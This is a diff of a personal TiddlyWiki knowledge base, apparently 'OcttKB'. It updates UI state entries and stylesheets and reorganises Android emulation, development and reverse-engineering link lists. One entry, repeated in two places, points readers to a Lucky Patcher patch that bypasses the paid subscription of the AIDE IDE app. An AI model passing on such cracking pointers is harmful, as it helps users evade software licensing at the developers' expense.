{"created":"20230217120532762","creator":"Octt","title":"$:/state/tab--1440231522","text":"$:/plugins/tiddlywiki/text-slicer/docs/usage","modified":"20230217120533957","modifier":"Octt"}, -{"created":"20230109143853256","creator":"Octt","title":"$:/state/tab--1498284803","text":"$:/core/ui/AdvancedSearch/Filter","modified":"20230216210937627","modifier":"Octt"}, +{"created":"20230109143853256","creator":"Octt","title":"$:/state/tab--1498284803","text":"$:/core/ui/AdvancedSearch/Shadows","modified":"20230217224703319","modifier":"Octt"}, {"created":"20230117125310625","creator":"Octt","title":"$:/state/tab--1581376822","text":"$:/plugins/flibbles/relink/ui/TiddlerInfo/References","modified":"20230117125313877","modifier":"Octt"}, {"created":"20230110152826768","title":"$:/state/tab--1588928600","text":"$:/core/ui/TiddlerInfo/Fields","modified":"20230110152833719"}, {"created":"20220920191426046","title":"$:/state/tab--1885964178","text":"$:/core/ui/TiddlerInfo/Tools","modified":"20220920191431231"}, @@ -435,7 +437,7 @@ Error message and password prompt {"created":"20220920090443750","title":"$:/state/tab--959111941","text":"$:/core/ui/ControlPanel/Cascades","modified":"20220921221337899"}, {"created":"20220922140851532","title":"$:/state/tab-1087611455","text":"Music Archiving Status/marsy","modified":"20220922212223216"}, {"created":"20230203222331010","creator":"Octt","title":"$:/state/tab-1410043539","text":"$:/plugins/kookma/commander/tag/uicomp/add-remove-tags","modified":"20230207221424319","modifier":"Octt"}, -{"created":"20220920090405977","creator":"Octt","title":"$:/state/tab-1749438307","text":"$:/core/ui/ControlPanel/Plugins","modified":"20230217120506381","modifier":"Octt"}, +{"created":"20220920090405977","creator":"Octt","title":"$:/state/tab-1749438307","text":"$:/core/ui/ControlPanel/Saving","modified":"20230217230829108","modifier":"Octt"}, {"created":"20230110215926447","title":"$:/state/tab-1754034960","text":"$:/core/ui/TiddlerInfo/References","modified":"20230110215935623"}, {"created":"20220922151106305","title":"$:/state/tab-2025781229","text":"Music Archiving Status/Android52","modified":"20220922151357705"}, {"created":"20220920091923734","creator":"Octt","title":"$:/state/tab-2065006209","text":"$:/core/ui/ControlPanel/Saving/General","modified":"20230216120731811","modifier":"Octt"}, @@ -446,14 +448,17 @@ Error message and password prompt {"created":"20230110152841020","title":"$:/state/tab-914888664","text":"$:/core/ui/TiddlerInfo/References","modified":"20230110152841020"}, {"created":"20220921221238452","title":"$:/state/tab-99014043","text":"$:/core/ui/ControlPanel/EditTemplateBody","modified":"20220921221239099"}, {"created":"20220920114911876","creator":"Octt","title":"$:/state/tab/moresidebar-1850697562","text":"$:/core/ui/MoreSideBar/Explorer","modified":"20230213164919665","modifier":"Octt"}, -{"created":"20220920092307479","creator":"Octt","title":"$:/state/tab/sidebar--595412856","text":"OcttKB/Index","modified":"20230217152232644","modifier":"Octt"}, +{"created":"20220920092307479","creator":"Octt","title":"$:/state/tab/sidebar--595412856","text":"$:/core/ui/SideBar/Recent","modified":"20230217230846308","modifier":"Octt"}, {"created":"20220920114638764","creator":"Octt","title":"$:/state/tabs/controlpanel/toolbars-1345989671","text":"$:/core/ui/ControlPanel/Toolbars/PageControls","modified":"20230128224606306","modifier":"Octt"}, {"created":"20230109231545587","text":"inline","title":"$:/state/tag-cloud-count","modified":"20230109231831243"}, +{"created":"20230217211142634","creator":"Octt","title":"$:/state/toc/$:/ToC-$:/Tools--685112640","text":"close","modified":"20230217211145890","modifier":"Octt"}, {"created":"20230209170208575","creator":"Octt","title":"$:/state/toc/$:/ToC-$:/Tools-747701490","text":"close","modified":"20230216212437093","modifier":"Octt"}, +{"created":"20230217211203481","creator":"Octt","title":"$:/state/toc/$:/ToC-Octt--685112640","text":"close","modified":"20230217211209586","modifier":"Octt"}, {"created":"20230209095602012","creator":"Octt","title":"$:/state/toc/$:/ToC-Octt-747701490","text":"close","modified":"20230217080018795","modifier":"Octt"}, {"created":"20230209095802817","creator":"Octt","title":"$:/state/toc/$:/ToC-OcttKB-550494662","text":"close","modified":"20230209095857501","modifier":"Octt"}, {"created":"20230209164056660","creator":"Octt","title":"$:/state/toc/$:/ToC-OcttKB-747701490","text":"close","modified":"20230217080017428","modifier":"Octt"}, {"created":"20230209095658308","creator":"Octt","title":"$:/state/toc/$:/ToC-Spacc-747701490","text":"close","modified":"20230217080020288","modifier":"Octt"}, +{"created":"20230217211205809","creator":"Octt","title":"$:/state/toc/$:/ToC/Octt-OcttKB--685112640","text":"close","modified":"20230217211208921","modifier":"Octt"}, {"created":"20230209095610578","creator":"Octt","title":"$:/state/toc/$:/ToC/Octt-Spacc-747701490","text":"close","modified":"20230209095612109","modifier":"Octt"}, {"created":"20230203215715564","creator":"Octt","title":"$:/state/toc/TableOfContents-$:/Tools--1742311157","text":"open","modified":"20230208213956547","modifier":"Octt"}, {"created":"20230111212759834","title":"$:/state/toc/TableOfContents-Apps--1089262602","text":"close","modified":"20230111212800395"}, @@ -572,11 +577,11 @@ Error message and password prompt {"created":"20220920211944968","text":"{{$:/OcttKB/StaticBanner}}","tags":"","title":"$:/StaticBanner","modified":"20230112221911675"}, {"title":"$:/status/RequireReloadDueToPluginChange","text":"yes"}, {"created":"20230117123049592","creator":"O","title":"$:/status/UserName","text":"Octt","modified":"20230117123050206","modifier":"Oct"}, -{"title":"$:/StoryList","created":"20230217122658245","creator":"Octt","text":"","list":"","modified":"20230217152153316","modifier":"Octt"}, +{"title":"$:/StoryList","created":"20230217122658245","creator":"Octt","text":"","list":"","modified":"20230217230852341","modifier":"Octt"}, {"created":"20230114161404958","text":"/*\\\nCredits: 1337box by Leah Rowe, Creative Commons Zero 1.0\nInfo: \u003Chttps://vimuser.org/1337box.html>\n\\*/\n.f, .f * {\n position: fixed;\n max-width: 100%;\n max-height: 100%;\n top: 50%;\n left: 50%\n}\n.f * { transform: translate(-50%,-50%) }\n.f {\n display: none;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 999;\n background:rgba(0,0,0,0.8);\n}\n*:focus + .f { display:block; }\nimg { cursor:pointer; }\n","title":"$:/Styles/1337box/shadow.css","modified":"20230114163044372","type":"text/css","tags":""}, {"created":"20230124224040783","creator":"Octt","text":"\u003C!-- Original image is by \u003Chttps://bilibili.com> -->\n\u003C!-- \u003Cdiv -->\n\u003Ca\nclass=\"bilibili-back-to-top\"\ntitle=\"Cute little lolis from bilibili to help you reach the top of the page...\"\nstyle=\"\n\ndisplay: block; \nposition: fixed;\n/*\nbottom: 100px;\nright: 20px;\n*/\nbottom: 4px;\nleft: 4px;\ntransform: translateY(0px);\nwidth: 62px;\nheight: 85px;\n/*\nmargin-left: 602px;\n*/\ntransform: scale(0.5);\ncursor: pointer;\nbackground-image: url(https://s1.hdslb.com/bfs/static/jinkela/space/assets/space-to-top.png);\nbackground-position: -40px -44px;\n\n\" href=\"javascript:(function(){\n\nvar Select = [\n '.tc-story-river > .story-backdrop',\n '.tc-sidebar-scrollable .tc-sidebar-header .tc-site-title',\n];\nfor (var i=0; i \u003C Select.length; i++) {\n var Elem = document.querySelectorAll(Select[i])[0];\n Elem.scrollIntoView();\n};\nalert('TODO animation');\n\n})();\">\u003C/a>\n\u003C!--\n\" onclick=\"\n\">\u003C/div>\n-->","tags":"","title":"$:/Styles/bilibili-back-to-top.html","modified":"20230127171431680","modifier":"Octt"}, {"created":"20230126091040410","creator":"Octt","text":".tc-story-river > .tc-tiddler-frame > .tc-tiddler-title .tc-title { display: none; }\n\n.tc-story-river > .tc-tiddler-frame > .View-Breadcrumbs {\n opacity: 0.80;\n/*\n font-size: xx-large;\n margin-top: 0px;\n margin-bottom: -1.5em;\n position: sticky;\n z-index: 512;\n*/\n}\n.tc-story-river > .tc-tiddler-frame:not(.tc-tiddler-missing) > .View-Breadcrumbs > * {\n /*font-style: normal !important;*/\n opacity: 0.40;\n}\n.tc-story-river > .tc-tiddler-frame:not(.tc-tiddler-missing) > .View-Breadcrumbs:hover > * { opacity: 0.80; }\n.tc-story-river > .tc-tiddler-frame > .View-Breadcrumbs > .Inline-Icon > * {\n width: 1em;\n height: 1em;\n vertical-align: top;\n}\n\n/*.View-Breadcrumbs { display: inline-flex; }*/\n\n/*.View-Breadcrumbs > .Inline-Sep:not(.View-Breadcrumbs > .Inline-Sep:last-of-type):before*/\n.View-Breadcrumbs > .Inline-Sep { padding-left: 0.3em; padding-right: 0.3em; }\n.View-Breadcrumbs > .Inline-Sep:after { content: '>'; font-size: smaller; }\n.View-Breadcrumbs > .Inline-Sep > span { font-size: 0px; }\n\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] > a,\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep\n{ color: gray; padding-left: 0em; }\n\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep:after { content: ''; }\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep > span { font-size: revert; font-size: smaller; }\n\n.View-Breadcrumbs > .Path-Elem:last-of-type { cursor: pointer; }\n.View-Breadcrumbs details { display: inline; vertical-align: top; }\n.View-Breadcrumbs details > summary { list-style: none; }\n.View-Breadcrumbs details > .tc-tree { font-size: initial; line-height: 1rem; }\n.View-Breadcrumbs details > .tc-tree > span { display: none; }\n","title":"$:/Styles/Breadcrumbs.css","modified":"20230202191335339","modifier":"Octt","type":"text/css","tags":"$:/tags/Stylesheet"}, -{"created":"20230112154615238","creator":"Octt","text":"\\define --HeadingColor0() #c061cb;\n\n.iFrameNormal, .iFrame100 {\n Margin: 0px;\n Padding: 0px;\n Background: #ddddff;\n Width: 100vw;\n}\n.iFrameNormal { Height: 90vh; }\n.iFrame100 { Height: 100vh; }\n\n.MediaWikiEmbed, .MediaWikiEmbedBlock {\n Border-Left: 4px Solid \u003C\u003C--HeadingColor0>>;\n Padding-Left: 1em /*8px*/;\n}\n\n.MediaWikiEmbedCover { float: right; }\n.MediaWikiEmbedCover > * { max-height: 35vh /*50vh*/; }\n\n.EmbedFrom, .Embed-From,\n.MediaWikiEmbed-From, .MediaWikiEmbedFrom {\n Font-Size: Smaller;\n Font-Style: Italic;\n}\n\n/* input.Checkbox-Btn:after { content: attr(label); } */\n\n.Embed-Fullscreen-Btn { float: right; font-style: revert; margin-top: -2em; }\nlabel.Embed-Fullscreen-Btn { margin-right: 2.5em; }\ninput.Embed-Fullscreen-Btn { width: 2em; height: 2em; }\n\n/* TODO: Different top: positioning based on if mobile or desktop view is active, and if sidebar is open or closed (2em for mobile and sidebar closed, ~0.64em for the rest) */\ninput.Embed-Fullscreen-Btn:checked,\ninput.Embed-Fullscreen-Btn:checked ~ label,\ninput.Embed-Fullscreen-Btn:checked ~ iframe\n{ position: absolute; z-index: 99999; top: 2em/*0.64em*/; right: 0px; }\n\ninput.Embed-Fullscreen-Btn:checked ~ iframe {\n height: calc(100vh - 2em);\n left: 0px;\n right: unset;\n min-width: calc(100vw - 40px);\n}\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/Embed","modified":"20230215222415176","modifier":"Octt"}, +{"created":"20230112154615238","creator":"Octt","text":"\\define --HeadingColor0() #c061cb;\n\n.iFrameNormal, .iFrame100 {\n Margin: 0px;\n Padding: 0px;\n Background: #ddddff;\n Width: 100vw;\n}\n.iFrameNormal { Height: 90vh; }\n.iFrame100 { Height: 100vh; }\n\n.MediaWikiEmbed, .MediaWikiEmbedBlock {\n Border-Left: 4px Solid \u003C\u003C--HeadingColor0>>;\n Padding-Left: 1em /*8px*/;\n}\n\n.MediaWikiEmbedCover { float: right; }\n.MediaWikiEmbedCover > * { max-height: 35vh /*50vh*/; }\n\n.EmbedFrom, .Embed-From,\n.MediaWikiEmbed-From, .MediaWikiEmbedFrom {\n Font-Size: Smaller;\n Font-Style: Italic;\n /* Don't make the link go over the \"fullscreen\" checkbox+label */\n max-width: calc(100% - 9em);\n}\n\n/* input.Checkbox-Btn:after { content: attr(label); } */\n\n.Embed-Fullscreen-Btn { float: right; font-style: revert; margin-top: -2em; }\nlabel.Embed-Fullscreen-Btn { margin-right: 2.5em; }\ninput.Embed-Fullscreen-Btn { width: 2em; height: 2em; }\n\n/* TODO: Different top: positioning based on if mobile or desktop view is active, and if sidebar is open or closed (2em for mobile and sidebar closed, ~0.64em for the rest) */\ninput.Embed-Fullscreen-Btn:checked,\ninput.Embed-Fullscreen-Btn:checked ~ label,\ninput.Embed-Fullscreen-Btn:checked ~ iframe\n{ position: absolute; z-index: 99999; top: 2em/*0.64em*/; right: 0px; }\n\ninput.Embed-Fullscreen-Btn:checked ~ iframe {\n height: calc(100vh - 2em);\n left: 0px;\n right: unset;\n min-width: calc(100vw - 40px);\n}\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/Embed","modified":"20230217223701094","modifier":"Octt"}, {"created":"20230130151417995","creator":"Octt","text":".NoDisplay { display: none; }\n\n.NoSelect {\n\t-webkit-touch-callout: none;\n\t-webkit-user-select: none;\n\t-khtml-user-select: none;\n\t-moz-user-select: none;\n\t-ms-user-select: none;\n\tUser-Select: none;\n}\n","title":"$:/Styles/Global.css","modified":"20230130151526950","modifier":"Octt","tags":"$:/tags/Stylesheet","type":"text/css"}, {"created":"20230108190740128","creator":"Octt","text":"\\define --HeadingColor0() #c061cb;\n\n\\define sidebarbreakpoint()\n\u003C$text text={{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}/>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n\u003C$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" text=\"fluid-fixed\">\n$text$\n\u003C$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n\u003C/$reveal>\n\u003C/$reveal>\n\\end\n\ndd:before { content: 'Β»'; margin-right: 8px; vertical-align: top; }\ndl { margin-left: 8px; }\ndl > dd { margin-left: 24px; }\ndl > dd > div { display: inline-block; }\n\ndl > dd > div > ul, dl > dd > div > ol { padding-left: 1.5em/*1em*/; }\n\n/* Mobile */\n@media (max-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable .tc-sidebar-header { padding-top: 0px; }\n}\n\n/* Desktop */\n@media (min-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable {\n padding-left: 0px;\n padding-right: 0px;\n }\n .tc-story-river {\n padding: {{$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding}};\n }\n .tc-tiddler-frame {\n padding: 20px /*24px 32px 24px 32px*/;\n margin-bottom: 20px;\n }\n\n\u003C\u003Cif-fluid-fixed text:\"\"\"\n .tc-story-river {\n margin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n }\n\"\"\" hiddenSidebarText:\"\"\"\n .tc-story-river {\n margin-right: 0px;\n padding-right: 24px;\n }\n\"\"\">>\n}\n\nDiv.View-Breadcrumbs\n{ margin: 4px; padding: 4px; }\n\n/* Reduce top padding of sidebar */\n.tc-sidebar-scrollable { padding-top: 12px; }\n.tc-sidebar-scrollable .tc-sidebar-header .tc-reveal .tc-site-subtitle { padding-right: 4em; }\n\n.tc-story-river { padding-bottom: 0px; }\n.tc-story-river ~ p { display: none; }\n\n.tc-tiddler-frame,\n.tc-tiddler-body p iframe {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n\n.tc-tiddler-body p iframe { Border: None; }\n.tc-tiddler-frame { border-radius: 4px; }\n.tc-modal-body { max-height: 75vh /*60vh*/; }\n\n.tc-sidebar-scrollable .tc-sidebar-tabs-main .tc-more-sidebar .tc-tab-content { overflow: visible; }\n\n/* Large tag selection menu, optimized for desktop + nicer tag button */\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown {\n position: revert;\n white-space: revert;\n}\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown a {\n display: inline-block;\n border-radius: 1em;\n}\n\n.DirList-Title, .DirList-Title * { Font-Style: Normal !Important; }\n.Separator-Right:last-of-type { Display: None; }\n\n.StartHere-Button {\n font-size: x-large /*smaller*/;\n text-decoration: none !important;\n user-select: none;\n}\n.StartHere-Button > img {\n width: 122px;\n image-rendering: pixelated;\n}\n.StartHere-Button > span {\n position: relative;\n top: -20px /*-10px*/;\n}\n\nImg.Img90, .Img90 Img {\n Max-Width: 90%;\n Max-Height: 90vh;\n}\n\n.tc-sidebar-scrollable .tc-sidebar-header .tc-page-controls .tc-popup .tc-drop-down { min-width: auto; }\n\n.tc-story-river > .tc-tiddler-frame .tc-subtitle { margin: 4px; padding: 4px; }\n\n.tc-topbar.tc-topbar-right {\n right: 8px;\n top: unset;\n bottom: 8px;\n}\n.tc-topbar.tc-topbar-right > button {\n background: RGBA(0,0,0,0.64);\n border-radius: 4px;\n}\n.tc-topbar.tc-topbar-right > button > svg > g { fill: white; }\n\ndetails.tw-details > summary > * { display: inline; }\n\ninput[type=\"range\"] { min-width: 8em; }\n\ninput.Edit-Text-Full { width: 100% !important; }\n\n.tc-tiddler-body details:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n.tc-tiddler-body details:hover > iframe {\n Box-Shadow: none;\n}\n\n.tc-tiddler-body ul:hover,\n.tc-tiddler-body ol:hover,\n.tc-tiddler-body dd:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n padding-top: 4px;\n padding-bottom: 4px;\n padding-right: 4px;\n}\nul, ol, dd { transition: 0.3s; }\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/Main","modified":"20230217143134514","modifier":"Octt"}, {"created":"20150924065447163","text":".tc-tiddler-frame .tc-titlebar button {\nopacity: 0;\ntransition: opacity .5s ease-in-out;\n}\n.tc-tiddler-frame:hover .tc-titlebar button {\nzoom: 1;\nfilter: alpha(opacity=100);\nopacity: 1;\n}","bag":"default","revision":"0","type":"text/css","title":"$:/Styles/onhover-toolbar-styles.css","tags":"","modifier":"Tobias Beer","modified":"20230110175248723","creator":"Tobias Beer"}, @@ -634,8 +639,9 @@ Error message and password prompt {"created":"20230130073837406","creator":"Octt","text":"\u003C\u003CMediaWiki A_Hat_in_Time en 3>>","tags":"TODO $:/i18n:en","title":"A Hat in Time:en","modified":"20230206111552056","modifier":"Octt"}, {"created":"20230209102431381","creator":"Octt","text":"\u003C\u003CMediaWiki Abandonware en 3>>\n\nGood places to get abandonware:\n\n* Misc: [[Internet Archive]]\n* OSes and relative resources: [[WinWorld]]\n* MS-DOS Games: [[DOS Zone|https://dos.zone]]","title":"Abandonware","modified":"20230209103452569","modifier":"Octt","tags":"Software"}, {"created":"20230108192258947","text":"\u003C\u003CMediaWiki ActivityPub en 1>>","title":"ActivityPub:en","modified":"20230111152725841","tags":"TODO"}, -{"created":"20230202230035698","creator":"Octt","text":"\u003C\u003CMediaWiki Android_(operating_system) en 5>>\n\n\u003C!--\n!! ''Try it Now''\n\n\u003Csmall>60-seconds hit and run demo\u003C/small>\n\n\u003C\u003CiFrameBypassFixed \"https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\">>\n-->\n\n!! ''Resources''\n\n//Note: some resources that are related to Android but also closely Java may be included under the [[Java]] section.//\n\n!!! ''Emulation / Containerization''\n\n* ''Anbox'' (discontinued) - //Android in a Box// - [[[Git|https://github.com/anbox]]]\n* Android Studio Emulator (see below)\n* https://www.apkonline.net/free-android-online-emulator\n* https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\n* https://www.bluestacks.com/\n* ''[[WayDroid|https://waydro.id/]]'' - //container-based approach to boot a full Android system on a regular GNU/Linux system// - [[[Git|https://github.com/waydroid]]]\n\n!!! ''Development''\n\n!!!! ''Apps'' and the likes\n\n; Lego block development: \n: [[Sketchware Pro|https://sketchware-pro.ga/]] - //Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android// - [[[Git|https://github.com/Sketchware-Pro/]]]\n: [[MIT App Inventor|https://appinventor.mit.edu/]] - //Before Sketchware, we had this//\n\n; Minimalist development\n: [[How can I build an Android apk without Gradle on the command line?|https://stackoverflow.com/questions/41132753/how-can-i-build-an-android-apk-without-gradle-on-the-command-line]]\n: [[Tiny Android Template|https://github.com/jbendtsen/tiny-android-template]] - //Minimalist Android Project w/o Gradle//\n: \u003Cdiv>\n\n* [[How to do Android development faster without Gradle|https://authmane512.medium.com/how-to-do-android-development-faster-without-gradle-9046b8c1cf68]] - (Old, not recommended, use the above instead) [[[Git|https://github.com/authmane512/android-project-template]]]\n** Old version of this, has some useful insights: [[How to make Android apps without IDE from command line|https://authmane512.medium.com/how-to-build-an-apk-from-command-line-without-ide-7260e1e22676]]\n\u003C/div>\n\n; Classic development\n: \u003Cdiv>\n\n* [[Android Studio|https://developer.android.com/studio]] by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)\n** [[Why is Android Studio so buggy and Android development so frustrating?|https://libreddit.kavin.rocks/r/androiddev/comments/yocva7/why_is_android_studio_so_buggy_and_android/]]\n\u003C/div>\n\n; Classic development, directly on an Android:\n: With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today\n: [[Anacode IDE|http://www.anacodeide.com/home]] - [\u003C\u003CGPlayLink com.majosoft.anacode>>] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)\n: AIDE //IDE for Android// - [\u003C\u003CGPlayLink com.aide.ui>>] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); ''grab patch for [[Lucky Patcher]]'' [[here|https://patch.chelpus.com/custom-patch-for-aide-ide-for-android-java-c++/3.2.210316]] or [[here|https://patch.chelpus.com/custom-patch-for-aide-ide/3.2.210316]] (I don't understand why the app name is different)\n\n; Guides, Snippets, Problems\n: \u003Cdiv>\n\n* [[Add custom headers to WebView resource requests|https://stackoverflow.com/questions/7610790/add-custom-headers-to-webview-resource-requests-android]]\n* [[Using headers from a WebView.load(...) response|https://gist.github.com/kmerrell42/b4ff31733c562a3262ee9a42f5704a89]]\n* [[Intercept and override HTTP requests from WebView|https://stackoverflow.com/questions/4780899/intercept-and-override-http-requests-from-webview]]\n** [[Intercept all requests in WebView on Android|https://medium.com/@madmuc/intercept-all-network-traffic-in-webkit-on-android-9c56c9262c85]]\n** [[Intercepting and Blocking Requests|https://joshuatz.com/posts/2021/webview-intercepting-and-blocking-requests/]]\n\u003C/div>\n: [[Android Icon Size guide for Android 6 Marshmallow|https://www.creativefreedom.co.uk/icon-designers-blog/android-icon-size-guide/]]\n: \u003Cdiv>\n\n* [[why setCanceledOnTouchOutside(false) doesn't work in Alert builder?|https://stackoverflow.com/questions/13526690/why-setcanceledontouchoutsidefalse-doesnt-work-in-alert-builder]]\n* [[How to prevent a dialog from closing when a button is clicked|https://stackoverflow.com/questions/2620444/how-to-prevent-a-dialog-from-closing-when-a-button-is-clicked]]\n\u003C/div>\n\n!!!! ''Hacking / Modding''\n\n* ''[[Apktool|https://ibotpeaches.github.io/Apktool/]]'' - //A tool for reverse engineering Android apk files// - [[[Git|https://github.com/iBotPeaches/Apktool]]]\n* ''APK Editor'' - //Edit APK Files inside your Android phone! Enjoy Hacking!// - [[[APKPure|https://m.apkpure.com/apk-editor-android/com.gmail.heagoo.apkeditor]]] [[[Uptodown|https://apk-editor.en.uptodown.com/android]]] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [[[Pro (ApkBe)|https://en.apkbe.com/app/com.gmail.heagoo.apkeditor.pro]]]\n** The same developer offers other various apps that may be of related interest (also abandoned).\n* ''jadx'' - //Dex to Java decompiler// - [[[Git|https://github.com/skylot/jadx]]]\n\n; Problems, Snippets, Guides\n: [[Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide|https://medium.com/@asmaeziani47/reverse-engineering-and-analyzing-android-apps-a-step-by-step-guide-67b8af9bf152]]\n","tags":"OS Google Linux","title":"Android","modified":"20230216222318036","modifier":"Octt"}, +{"created":"20230202230035698","creator":"Octt","text":"\u003C\u003C^wikipediaframe Android_(operating_system) en >>\n\n\u003C!--\n!! ''Try it Now''\n\n\u003Csmall>60-seconds hit and run demo\u003C/small>\n\n\u003C\u003CiFrameBypassFixed \"https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\">>\n-->\n\n!! ''Resources''\n\n//Note: some resources that are related to Android but also closely Java may be included under the [[Java]] section.//\n\n!!! ''Emulation / Containerization''\n\n* ''Anbox'' (discontinued) - //Android in a Box// - [[[Git|https://github.com/anbox]]]\n* Android Studio Emulator (see below)\n* https://www.apkonline.net/free-android-online-emulator\n* https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\n* https://www.bluestacks.com/\n* ''[[WayDroid|https://waydro.id/]]'' - //container-based approach to boot a full Android system on a regular GNU/Linux system// - [[[Git|https://github.com/waydroid]]]\n\n\u003C\u003C{ \"\"\"Android/Development\"\"\">>\n\n!!! ''Memes''\n* [[POV: You bought a Samsung House in the year 2030|https://t.me/ioctt/19547]]\n","tags":"OS Google Linux","title":"Android","modified":"20230217222008337","modifier":"Octt"}, {"created":"20230205151705787","creator":"Octt","text":"List of some Android apps to keep in mind.\n\n* AccA\n* Activity Launcher\n* AdAway\n* AIDA64\n* Andronix\n* Antutu\n* B612\n* Color\n* Cryptomator\n* dotpict\n* Gadgetbridge\n* GitJournal\n* ibisPaint X\n* LibreTorrent\n* Linux Deploy \n* Material Files\n* Mi Remote\n* MiXplorer\n* Music Player F-Droid\n* NeoBackup\n* NewPipe\n* News Provider\n* OpenBoard\n* Open Camera\n* ONLYOFFICE\n* PCAPdroid\n* PocketMaps\n* Psiphon Pro\n* Pydroid 3\n* QR & Barcode Scanner\n* Quill\n* Readrops\n* Rekado\n* RustDesk\n* SAI\n* ScreenStreamer\n* Seal\n* Sketchware Pro\n* StreetComplete\n* Squircle IDE\n* SuperFreezZ\n* Tiddloid\n* tooot\n* Tor Browser\n* Transdroid\n* Unexpected Keyboard\n* UserLAnd\n* VirtualXposed\n* VMOS Pro\n* WiGLE WiFi\n","tags":"","title":"Android/Apps","modified":"20230216220508785","modifier":"Octt"}, +{"created":"20230217221957113","creator":"Octt","modified":"20230217221957113","modifier":"Octt","title":"Android/Development","text":"!!! ''Development''\n\n!!!! ''Apps'' and the likes\n\n; Lego block development: \n: [[Sketchware Pro|https://sketchware-pro.ga/]] - //Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android// - [[[Git|https://github.com/Sketchware-Pro/]]]\n: [[MIT App Inventor|https://appinventor.mit.edu/]] - //Before Sketchware, we had this//\n\n; Minimalist development\n: [[How can I build an Android apk without Gradle on the command line?|https://stackoverflow.com/questions/41132753/how-can-i-build-an-android-apk-without-gradle-on-the-command-line]]\n: [[Tiny Android Template|https://github.com/jbendtsen/tiny-android-template]] - //Minimalist Android Project w/o Gradle//\n: \u003Cdiv>\n\n* [[How to do Android development faster without Gradle|https://authmane512.medium.com/how-to-do-android-development-faster-without-gradle-9046b8c1cf68]] - (Old, not recommended, use the above instead) [[[Git|https://github.com/authmane512/android-project-template]]]\n** Old version of this, has some useful insights: [[How to make Android apps without IDE from command line|https://authmane512.medium.com/how-to-build-an-apk-from-command-line-without-ide-7260e1e22676]]\n\u003C/div>\n\n; Classic development\n: \u003Cdiv>\n\n* [[Android Studio|https://developer.android.com/studio]] by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)\n** [[Why is Android Studio so buggy and Android development so frustrating?|https://libreddit.kavin.rocks/r/androiddev/comments/yocva7/why_is_android_studio_so_buggy_and_android/]]\n\u003C/div>\n\n; Classic development, directly on an Android:\n: With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today\n: [[Anacode IDE|http://www.anacodeide.com/home]] - [\u003C\u003CGPlayLink com.majosoft.anacode>>] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)\n: AIDE //IDE for Android// - [\u003C\u003CGPlayLink com.aide.ui>>] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); ''grab patch for [[Lucky Patcher]]'' [[here|https://patch.chelpus.com/custom-patch-for-aide-ide-for-android-java-c++/3.2.210316]] or [[here|https://patch.chelpus.com/custom-patch-for-aide-ide/3.2.210316]] (I don't understand why the app name is different)\n\n; Guides, Snippets, Problems\n: \u003Cdiv>\n\n* [[Add custom headers to WebView resource requests|https://stackoverflow.com/questions/7610790/add-custom-headers-to-webview-resource-requests-android]]\n* [[Using headers from a WebView.load(...) response|https://gist.github.com/kmerrell42/b4ff31733c562a3262ee9a42f5704a89]]\n* [[Intercept and override HTTP requests from WebView|https://stackoverflow.com/questions/4780899/intercept-and-override-http-requests-from-webview]]\n** [[Intercept all requests in WebView on Android|https://medium.com/@madmuc/intercept-all-network-traffic-in-webkit-on-android-9c56c9262c85]]\n** [[Intercepting and Blocking Requests|https://joshuatz.com/posts/2021/webview-intercepting-and-blocking-requests/]]\n\u003C/div>\n: [[Android Icon Size guide for Android 6 Marshmallow|https://www.creativefreedom.co.uk/icon-designers-blog/android-icon-size-guide/]]\n: \u003Cdiv>\n\n* [[why setCanceledOnTouchOutside(false) doesn't work in Alert builder?|https://stackoverflow.com/questions/13526690/why-setcanceledontouchoutsidefalse-doesnt-work-in-alert-builder]]\n* [[How to prevent a dialog from closing when a button is clicked|https://stackoverflow.com/questions/2620444/how-to-prevent-a-dialog-from-closing-when-a-button-is-clicked]]\n\u003C/div>\n\n!!!! ''Hacking / Modding''\n\n* ''[[Apktool|https://ibotpeaches.github.io/Apktool/]]'' - //A tool for reverse engineering Android apk files// - [[[Git|https://github.com/iBotPeaches/Apktool]]]\n* ''APK Editor'' - //Edit APK Files inside your Android phone! 